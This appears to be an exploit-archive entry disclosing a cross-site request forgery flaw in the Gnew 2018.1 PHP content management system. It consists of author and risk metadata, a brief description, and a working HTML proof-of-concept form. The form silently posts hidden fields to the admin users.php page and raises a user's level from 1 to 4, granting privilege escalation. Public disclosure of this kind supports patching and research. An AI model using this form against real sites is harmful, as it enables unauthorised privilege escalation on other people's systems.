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Gnew 2018.1 - Cross-Site Request Forgery Vulnerability

Author
Cyril Vallicari
Risk
[
Security Risk Low
]
0day-ID
0day-ID-29657
Category
web applications
Date add
28-01-2018
Platform
php
# Exploit Title: Gnew 2018.1 - Cross-Site Request Forgery
# Exploit Author: Cyril Vallicari / HTTPCS - ZIWIT
# Vendor website : http://gnew.xyz/
# Software download : http://www.gnew.xyz/pages/download.php
# Version: 2018.1
# Tested on: Windows 10 Home x64  / Kali Linux
 
Product description :
 
Gnew is a simple content management system (CMS) written in PHP and
using a database server (MySQL, PostgreSQL or SQLite) for storage. It is
fully customizable because it uses a system of templates and supports
multiple languages
 
Description :
 
A vulnerability has been discovered in Gnew , which can be exploited by
malicious people to conduct cross-site request forgery attacks.
This can be used to get a privilege escalation on the targeted application.
 
POC :
 
------------------------------------ HTML--------------------------------------
 
<form action="http://Target/gnew/admin/users.php " method="POST">
 <input type="hidden" name="_method" value="POST"/>
 <input type="hidden" name="user_name" value="test2"/>
 <input type="hidden" name="user_level" value="4"/>
 <input type="hidden" name="user_email" value="gnewtest@yopmail.com"/>
 <input type="hidden" name="user_show_email" value="0"/>
<input type="hidden" name="user_day" value="0"/>
<input type="hidden" name="user_month" value="0"/>
<input type="hidden" name="user_month" value="0"/>
 <input type="hidden" name="user_language" value="english"/>
 <input type="hidden" name="user_template" value="clean"/>
 <input type="hidden" name="user_date_format" value="D,+M+jS+Y,+g:i+a"/>
 <input type="hidden" name="user_date_offset" value="0"/>
<input type="hidden" name="user_avatar" value=""/>
 <input type="hidden" name="user_date_offset" value="0"/>
 <input type="hidden" name="user_avatar"
value="./../images/avatars/empty.png"/>
 <input type="hidden" name="user_id" value="2"/>
<input type="hidden" name="user_level_old" value="1"/>
<input type="hidden" name="user_name_old" value="test2"/>
<input type="hidden" name="edit_user" value="Éditer"/>
<input type="submit" value="CSRF This"/></form>
 
------------------------------------ HTML END--------------------------------------

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